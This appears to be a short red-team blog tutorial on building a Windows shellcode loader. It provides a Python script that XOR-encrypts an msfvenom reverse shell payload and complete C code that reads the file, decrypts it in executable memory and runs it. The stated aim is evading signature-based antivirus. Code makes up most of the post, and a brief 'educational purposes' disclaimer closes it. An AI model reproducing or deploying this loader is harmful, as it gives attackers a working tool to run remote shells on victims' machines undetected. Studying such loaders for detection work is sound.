Introduction
In this post, I demonstrate how to write a simple in-memory shellcode loader using the Windows API. The loader reads an XOR-encrypted reverse shell payload from disk, decrypts it in memory, and executes it — avoiding detection from basic signature-based AV.
Tools Used
msfvenom
(to generate raw reverse shell)- Python (to XOR encrypt the shellcode)
- Windows API (
CreateFileW
,VirtualAlloc
, etc.) - Visual Studio (to compile the loader)
Code Sections
XOR Encryption Script (Python)
key = 0xAA
with open("shellcode.bin", "rb") as f:
data = bytearray(f.read())
encrypted = bytearray([b ^ key for b in data])
with open("stealth.vx", "wb") as f:
f.write(encrypted)
C Loader Code
#include <windows.h>
#include <stdio.h>
#define XOR_KEY 0xAA
int main() {
HANDLE hFile = CreateFileW(
L"C:\\Users\\test\\AppData\\Local\\stealth.vx",
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile == INVALID_HANDLE_VALUE) {
printf(" Failed to open file: %lu\n", GetLastError());
return 1;
}
DWORD size = GetFileSize(hFile, NULL);
unsigned char* buffer = (unsigned char*)VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
DWORD read;
ReadFile(hFile, buffer, size, &read, NULL);
CloseHandle(hFile);
for (DWORD i = 0; i < size; i++) {
buffer[i] ^= XOR_KEY;
}
printf("Executing shellcode in memory...\n");
((void(*)())buffer)(); // Execute
return 0;
}
Explanation
Break it down line by line in simple terms:
CreateFileW
— opens the XOR’d payloadVirtualAlloc
— allocates RWX memoryReadFile
— reads encrypted bytes- XOR loop — decrypts it
- Cast to function — shellcode executes
Disclaimer Section
This post is intended for educational and ethical red teaming purposes only. Do not use this on systems you don’t own or have permission to test. The goal is to understand how in-memory execution works and how defenders can detect such behavior.